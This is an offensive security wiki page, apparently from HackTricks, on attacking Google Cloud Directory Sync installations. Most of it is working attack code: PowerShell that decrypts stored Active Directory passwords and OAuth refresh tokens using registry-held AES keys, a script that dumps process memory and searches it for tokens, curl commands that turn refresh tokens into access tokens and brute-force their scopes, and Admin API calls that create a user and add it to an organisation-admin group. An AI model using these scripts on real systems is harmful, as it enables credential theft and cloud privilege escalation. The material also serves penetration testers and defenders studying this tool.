# GCDS - Google Cloud Directory Sync

{{#include ../../../banners/hacktricks-training.md}}

## Basic Information

This is a tool that can be used to **sync your active directory users and groups to your Workspace** (and not the other way around by the time of this writing).

It's interesting because it's a tool that will require the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.

> [!NOTE]
> To perform a **MitM** to the **`config-manager.exe`** binary just add the following line in the `config.manager.vmoptions` file: **`-Dcom.sun.net.ssl.checkRevocation=false`**

> [!TIP]
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCDS**, get information about the configuration and **even the passwords and encrypted credentials**.

Also note that GCDS won't synchronize passwords from AD to Workspace. If something it'll just generate random passwords for newly created users in Workspace as you can see in the following image:

<figure><img src="../../../images/telegram-cloud-photo-size-4-5780773316536156543-x.jpg" alt="" width="515"><figcaption></figcaption></figure>

### GCDS - Disk Tokens & AD Credentials

The binary `config-manager.exe` (the main GCDS binary with GUI) will store the configured Active Directory credentials, the refresh token and the access by default in a **xml file** in the folder **`C:\Program Files\Google Cloud Directory Sync`** in a file called **`Untitled-1.xml`** by default. Although it could also be saved in the `Documents` of the user or in **any other folder**.

Moreover, the registry **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** inside the key **`open.recent`** contains the paths to all the recently opened configuration files (xmls). So it's possible to **check it to find them**.

The most interesting information inside the file would be:

```xml
[...]
<loginMethod>OAUTH2</loginMethod>
<oAuth2RefreshToken>rKvvNQxi74JZGI74u68aC6o+3Nu1ZgVUYdD1GyoWyiHHxtWx+lbx3Nk8dU27fts5lCJKH/Gp1q8S6kEM2AvjQZN16MkGTU+L2Yd0kZsIJWeO0K0RdVaK2D9Saqchk347kDgGsQulJnuxU+Puo46+aA==</oAuth2RefreshToken>
<oAuth2Scopes>
<scope>https://www.google.com/m8/feeds/</scope>
<scope>https://www.googleapis.com/auth/admin.directory.group</scope>
<scope>https://www.googleapis.com/auth/admin.directory.orgunit</scope>
<scope>https://www.googleapis.com/auth/admin.directory.resource.calendar</scope>
<scope>https://www.googleapis.com/auth/admin.directory.user</scope>
<scope>https://www.googleapis.com/auth/admin.directory.userschema</scope>
<scope>https://www.googleapis.com/auth/apps.groups.settings</scope>
<scope>https://www.googleapis.com/auth/apps.licensing</scope>
<scope>https://www.googleapis.com/auth/plus.me</scope>
</oAuth2Scopes>
[...]
<hostname>192.168.10.23</hostname>
<port>389</port>
<basedn>dc=hacktricks,dc=local</basedn>
<authType>SIMPLE</authType>
<authUser>DOMAIN\domain-admin</authUser>
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
[...]
```

Note how the **refresh** **token** and the **password** of the user are **encrypted** using **AES CBC** with a randomly generated key and IV stored in **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (wherever the **`prefs`** Java library store the preferences) in the string keys **`/Encryption/Policy/V2.iv`** and **`/Encryption/Policy/V2.key`** stored in base64.

<details>

<summary>Powershell script to decrypt the refresh token and the password</summary>

```bash
# Paths and key names
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
$ivKeyName = "/Encryption/Policy/V2.iv"
$keyKeyName = "/Encryption/Policy/V2.key"

# Open the registry key
try {
    $regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath)
    if (-not $regKey) {
        Throw "Registry key not found: HKCU\$regPath"
    }
}
catch {
    Write-Error "Failed to open registry key: $_"
    exit
}

# Get Base64-encoded IV and Key from the registry
try {
    $ivBase64 = $regKey.GetValue($ivKeyName)
    $ivBase64 = $ivBase64 -replace '/', ''
    $ivBase64 = $ivBase64 -replace '\\', '/'
    if (-not $ivBase64) {
        Throw "IV not found in registry"
    }
    $keyBase64 = $regKey.GetValue($keyKeyName)
    $keyBase64 = $keyBase64 -replace '/', ''
    $keyBase64 = $keyBase64 -replace '\\', '/'
    if (-not $keyBase64) {
        Throw "Key not found in registry"
    }
}
catch {
    Write-Error "Failed to read registry values: $_"
    exit
}
$regKey.Close()


# Decode Base64 IV and Key
$ivBytes = [Convert]::FromBase64String($ivBase64)
$keyBytes = [Convert]::FromBase64String($keyBase64)

# Read XML content
$xmlContent = Get-Content -Path $xmlConfigPath -Raw

# Extract Base64-encoded encrypted values using regex
$refreshTokenMatch = [regex]::Match($xmlContent, "<oAuth2RefreshToken>(.*?)</oAuth2RefreshToken>")
$refreshTokenBase64 = $refreshTokenMatch.Groups[1].Value

$encryptedPasswordMatch = [regex]::Match($xmlContent, "<authCredentialsEncrypted>(.*?)</authCredentialsEncrypted>")
$encryptedPasswordBase64 = $encryptedPasswordMatch.Groups[1].Value

# Decode encrypted values from Base64
$refreshTokenEncryptedBytes = [Convert]::FromBase64String($refreshTokenBase64)
$encryptedPasswordBytes = [Convert]::FromBase64String($encryptedPasswordBase64)

# Function to decrypt data using AES CBC
Function Decrypt-Data($cipherBytes, $keyBytes, $ivBytes) {
    $aes = [System.Security.Cryptography.Aes]::Create()
    $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
    $aes.KeySize = 256
    $aes.BlockSize = 128
    $aes.Key = $keyBytes
    $aes.IV = $ivBytes

    $decryptor = $aes.CreateDecryptor()
    $memoryStream = New-Object System.IO.MemoryStream
    $cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
    $cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length)
    $cryptoStream.FlushFinalBlock()
    $plaintextBytes = $memoryStream.ToArray()

    $cryptoStream.Close()
    $memoryStream.Close()

    return $plaintextBytes
}

# Decrypt the values
$refreshTokenBytes = Decrypt-Data -cipherBytes $refreshTokenEncryptedBytes -keyBytes $keyBytes -ivBytes $ivBytes
$refreshToken = [System.Text.Encoding]::UTF8.GetString($refreshTokenBytes)

$decryptedPasswordBytes = Decrypt-Data -cipherBytes $encryptedPasswordBytes -keyBytes $keyBytes -ivBytes $ivBytes
$decryptedPassword = [System.Text.Encoding]::UTF8.GetString($decryptedPasswordBytes)

# Output the decrypted values
Write-Host "Decrypted Refresh Token: $refreshToken"
Write-Host "Decrypted Password: $decryptedPassword"
```

</details>

> [!NOTE]
> Note that it's possible to check this information checking the java code of **`DirSync.jar`** from **`C:\Program Files\Google Cloud Directory Sync`** searching for the string `exportkeys` (as thats the cli param that the binary `upgrade-config.exe` expects to dump the keys).

Instead of using the powershell script, it's also possible to use the binary **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** with the param `-exportKeys` and get the **Key** and **IV** from the registry in hex and then just use some cyberchef with AES/CBC and that key and IV to decrypt the info.

### GCDS - Dumping tokens from memory

Just like with GCPW, it's possible to dump the memory of the process of the `config-manager.exe` process (it's the name of the GCDS main binary with GUI) and you will be able to find refresh and access tokens (if they have been generated already).\
I guess you could also find the AD configured credentials.

<details>

<summary>Dump config-manager.exe processes and search tokens</summary>

```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
    "ya29\.[a-zA-Z0-9_\.\-]{50,}",
    "1//[a-zA-Z0-9_\.\-]{50,}"
)

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
    New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
    Write-Output "Dumping process with PID: $processId"
    & $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
    $dumpFile = $_.FullName
    $baseName = $_.BaseName
    $asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
    $unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

    Write-Output "Extracting strings from $dumpFile"
    & $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
    & $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

    $outputFiles = @($asciiStringsFile, $unicodeStringsFile)

    foreach ($file in $outputFiles) {
        foreach ($regex in $tokenRegexes) {

            $matches = Select-String -Path $file -Pattern $regex -AllMatches

            $uniqueMatches = @{}

            foreach ($matchInfo in $matches) {
                foreach ($match in $matchInfo.Matches) {
                    $matchValue = $match.Value
                    if (-not $uniqueMatches.ContainsKey($matchValue)) {
                        $uniqueMatches[$matchValue] = @{
                            LineNumber = $matchInfo.LineNumber
                            LineText   = $matchInfo.Line.Trim()
                            FilePath   = $matchInfo.Path
                        }
                    }
                }
            }

            foreach ($matchValue in $uniqueMatches.Keys) {
                $info = $uniqueMatches[$matchValue]
                Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
            }
        }

        Write-Output ""
    }
}

Remove-Item -Path $dumpFolder -Recurse -Force
```

</details>

### GCDS - Generating access tokens from refresh tokens

Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command:

```bash
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
     --data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
     --data "grant_type=refresh_token" \
     --data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
     https://www.googleapis.com/oauth2/v4/token
```

### GCDS - Scopes

> [!NOTE]
> Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**.
>
> Also, the refresh token is not valid in every application.

By default GCSD won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`:

<details>

<summary>Bash script to brute-force scopes</summary>

```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
    echo -ne "Testing $scope           \r"
    if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
     --data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
     --data "grant_type=refresh_token" \
     --data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \
     --data "scope=$scope" \
     https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
        echo ""
        echo $scope
        echo $scope >> /tmp/valid_scopes.txt
    fi
done

echo ""
echo ""
echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt
```

</details>

And this is the output I got at the time of the writing:

```
https://www.googleapis.com/auth/admin.directory.group
https://www.googleapis.com/auth/admin.directory.orgunit
https://www.googleapis.com/auth/admin.directory.resource.calendar
https://www.googleapis.com/auth/admin.directory.user
https://www.googleapis.com/auth/admin.directory.userschema
https://www.googleapis.com/auth/apps.groups.settings
https://www.googleapis.com/auth/apps.licensing
https://www.googleapis.com/auth/contacts
```

#### Create a user and add it into the group `gcp-organization-admins` to try to escalate in GCP

```bash
# Create new user
curl -X POST \
  'https://admin.googleapis.com/admin/directory/v1/users' \
  -H 'Authorization: Bearer <ACCESS_TOKEN>' \
  -H 'Content-Type: application/json' \
  -d '{
    "primaryEmail": "deleteme@domain.com",
    "name": {
      "givenName": "Delete",
      "familyName": "Me"
    },
    "password": "P4ssw0rdStr0ng!",
    "changePasswordAtNextLogin": false
  }'

# Add to group
curl -X POST \
  'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
  -H 'Authorization: Bearer <ACCESS_TOKEN>' \
  -H 'Content-Type: application/json' \
  -d '{
    "email": "deleteme@domain.com",
    "role": "OWNER"
  }'

# You could also change the password of a user for example
```

> [!CAUTION]
> It's not possible to give the new user the Super Amin role because the **refresh token doesn't have enough scopes** to give the required privileges.

{{#include ../../../banners/hacktricks-training.md}}



